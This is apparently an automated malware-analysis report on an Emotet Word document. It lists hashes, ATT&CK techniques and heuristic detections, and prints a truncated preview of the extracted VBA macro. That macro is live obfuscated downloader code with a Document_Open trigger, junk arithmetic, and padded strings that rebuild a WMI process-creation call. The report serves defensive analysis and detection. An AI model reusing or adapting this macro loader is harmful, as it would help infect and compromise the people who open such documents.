Emotet — Office (OLE) malware analysis

Static analysis result for SHA-256 614e5f39af992a0d…

MALICIOUS

Office (OLE)

223.8 KB Created: 2020-08-25 12:38:00 Authoring application: Microsoft Office Word First seen: 2020-09-07
MD5: f552cd6fc06121d2fa9212b32d7d3552 SHA-1: f3a4393706ac4200e94ad1a136d3f6be288dfec6 SHA-256: 614e5f39af992a0dd5fab61cd708426bf0c419be93e50f8675fcd8a905978a67
262 Risk Score

Malware Insights

Emotet · confidence 95%

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment T1140 Deobfuscate/Decode Files or Information

The file is identified as malicious by ClamAV with the signature 'Doc.Downloader.EmotetRed02226-9938639-0', indicating a downloader. Heuristics confirm the presence of VBA macros, specifically a 'Document_Open' macro that utilizes 'CreateObject' and a hidden UserForm for command staging. This suggests the VBA code is designed to deobfuscate and execute a payload, likely downloaded from a remote source, aligning with Emotet's typical behavior.

Heuristics 7

  • ClamAV: Doc.Downloader.EmotetRed02226-9938639-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.EmotetRed02226-9938639-0
  • VBA macros detected medium 4 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • VBA UserForm hidden-property command stager critical OLE_VBA_USERFORM_HIDDEN_COMMAND_STAGER
    VBA auto-exec macro creates a COM object from a decoded variable and reconstructs command text through Split/Join and hidden UserForm properties such as ControlTipText, Tag, Pages, or HelpContextId. This is a high-confidence macro downloader/loader shape seen in the reviewed OLE set, but it is not an Office CVE exploit primitive.
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 14509 bytes
SHA-256: 8a898ab760821facbf88b2db41c5e958626c807b7a493beff0d5a8ce7fc20ecd
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "Bzx0u18xj5l6"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Sub _
Document_open()
Kzjdvisietr.Idpowmrmn2w_gl3
End Sub


Attribute VB_Name = "Kzjdvisietr"
Attribute VB_Base = "0{53BFD5B0-D0D4-4E7E-94D3-96B3862BC829}{E439414A-BE79-412F-BA53-295113D93AFC}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
Function Idpowmrmn2w_gl3()
      On Error Resume Next
         vpwX8wxw5 = (9035 + 140 * (875 - Log(sQIkI55u7 + CBool(946) / 413 - CBool(bNpIN2n * ChrB(AjZyv))) - 2 / Log(Tvas07 * Hex(486) - OOdSZ4jE2 + jKY)))
         ZHWE2fRJt = loE / 9 - OFlW0a2K - CSng(3032) / (Zzl * Sgn(9307 / CBool(11867829)) - 2 - CInt(1 / 9321))
         ocj = 7947 - Atn(495) - 4305 - ogasZCD * (46307565 / Fix(PCYGK) / 1 * Oct(9209))
      ucaC1C1 = 6487 - CSng(59 - iWg - 720 + Sqr(WDUKs795)) - dzsEl01 + Oct(5163) * RGtA / CStr(115 / CInt(taQA9) * AyAzE977 - jeyLO)

U8sejxr_4e9h = 100
      On Error Resume Next
         vpwX8wxw5 = (9035 + 140 * (875 - Log(sQIkI55u7 + CBool(946) / 413 - CBool(bNpIN2n * ChrB(AjZyv))) - 2 / Log(Tvas07 * Hex(486) - OOdSZ4jE2 + jKY)))
         ZHWE2fRJt = loE / 9 - OFlW0a2K - CSng(3032) / (Zzl * Sgn(9307 / CBool(11867829)) - 2 - CInt(1 / 9321))
         ocj = 7947 - Atn(495) - 4305 - ogasZCD * (46307565 / Fix(PCYGK) / 1 * Oct(9209))
      ucaC1C1 = 6487 - CSng(59 - iWg - 720 + Sqr(WDUKs795)) - dzsEl01 + Oct(5163) * RGtA / CStr(115 / CInt(taQA9) * AyAzE977 - jeyLO)

Nkiww86wrk772 = ChrW(U8sejxr_4e9h + (15))
      On Error Resume Next
         vpwX8wxw5 = (9035 + 140 * (875 - Log(sQIkI55u7 + CBool(946) / 413 - CBool(bNpIN2n * ChrB(AjZyv))) - 2 / Log(Tvas07 * Hex(486) - OOdSZ4jE2 + jKY)))
         ZHWE2fRJt = loE / 9 - OFlW0a2K - CSng(3032) / (Zzl * Sgn(9307 / CBool(11867829)) - 2 - CInt(1 / 9321))
         ocj = 7947 - Atn(495) - 4305 - ogasZCD * (46307565 / Fix(PCYGK) / 1 * Oct(9209))
      ucaC1C1 = 6487 - CSng(59 - iWg - 720 + Sqr(WDUKs795)) - dzsEl01 + Oct(5163) * RGtA / CStr(115 / CInt(taQA9) * AyAzE977 - jeyLO)

Ew_ec531hcw3ove = "23&bh s6[[hu12 712tdd]]s hj[23&bh s6[[hu12 712tdd]]s hj[w23&bh s6[[hu12 712tdd]]s hj[i23&bh s6[[hu12 712tdd]]s hj[nm23&bh s6[[hu12 712tdd]]s hj[23&bh s6[[hu12 712tdd]]s hj[gm23&bh s6[[hu12 712tdd]]s hj[t23&bh s6[[hu12 712tdd]]s hj[23&bh s6[[hu12 712tdd]]s hj[" + Nkiww86wrk772 + "23&bh s6[[hu12 712tdd]]s hj[23&bh s6[[hu12 712tdd]]s hj[:23&bh s6[[hu12 712tdd]]s hj[w23&bh s6[[hu12 712tdd]]s hj[in23&bh s6[[hu12 712tdd]]s hj[23&bh s6[[hu12 712tdd]]s hj[323&bh s6[[hu12 712tdd]]s hj[223&bh s6[[hu12 712tdd]]s hj[_23&bh s6[[hu12 712tdd]]s hj[" + Kzjdvisietr.Uuwo3z3ce5u9j + "23&bh s6[[hu12 712tdd]]s hj[ro23&bh s6[[hu12 712tdd]]s hj[23&bh s6[[hu12 712tdd]]s hj[ce23&bh s6[[hu12 712tdd]]s hj[s23&bh s6[[hu12 712tdd]]s hj[s23&bh s6[[hu12 712tdd]]s hj["
      On Error Resume Next
         vpwX8wxw5 = (9035 + 140 * (875 - Log(sQIkI55u7 + CBool(946) / 413 - CBool(bNpIN2n * ChrB(AjZyv))) - 2 / Log(Tvas07 * Hex(486) - OOdSZ4jE2 + jKY)))
         ZHWE2fRJt = loE / 9 - OFlW0a2K - CSng(3032) / (Zzl * Sgn(9307 / CBool(11867829)) - 2 - CInt(1 / 9321))
         ocj = 7947 - Atn(495) - 4305 - ogasZCD * (46307565 / Fix(PCYGK) / 1 * Oct(9209))
      ucaC1C1 = 6487 - CSng(59 - iWg - 720 + Sqr(WDUKs795)) - dzsEl01 + Oct(5163) * RGtA / CStr(115 / CInt(taQA9) * AyAzE977 - jeyLO)

Gr8j9q6szqdpzvf7zb = Tvoay39pzd3jd(Ew_ec531hcw3ove)
      On Error Resume Next
         vpwX8wxw5 = (9035 + 140 * (875 - Log(sQIkI55u7 + CBool(946) / 413 - CBool(bNpIN2n * ChrB(AjZyv))) - 2 / Log(Tvas07 * Hex(486) - OOdSZ4jE2 + jKY)))
         ZHWE2fRJt = loE / 9 - OFlW0a2K - CSng(3032) / (Zzl * Sgn(9307 / CBool(11867829)) - 2 - CInt(1 / 9321))
         ocj = 7947 - Atn(495) - 4305 - ogasZCD * (46307565 / Fix(PCYGK) / 1 * O
... (truncated)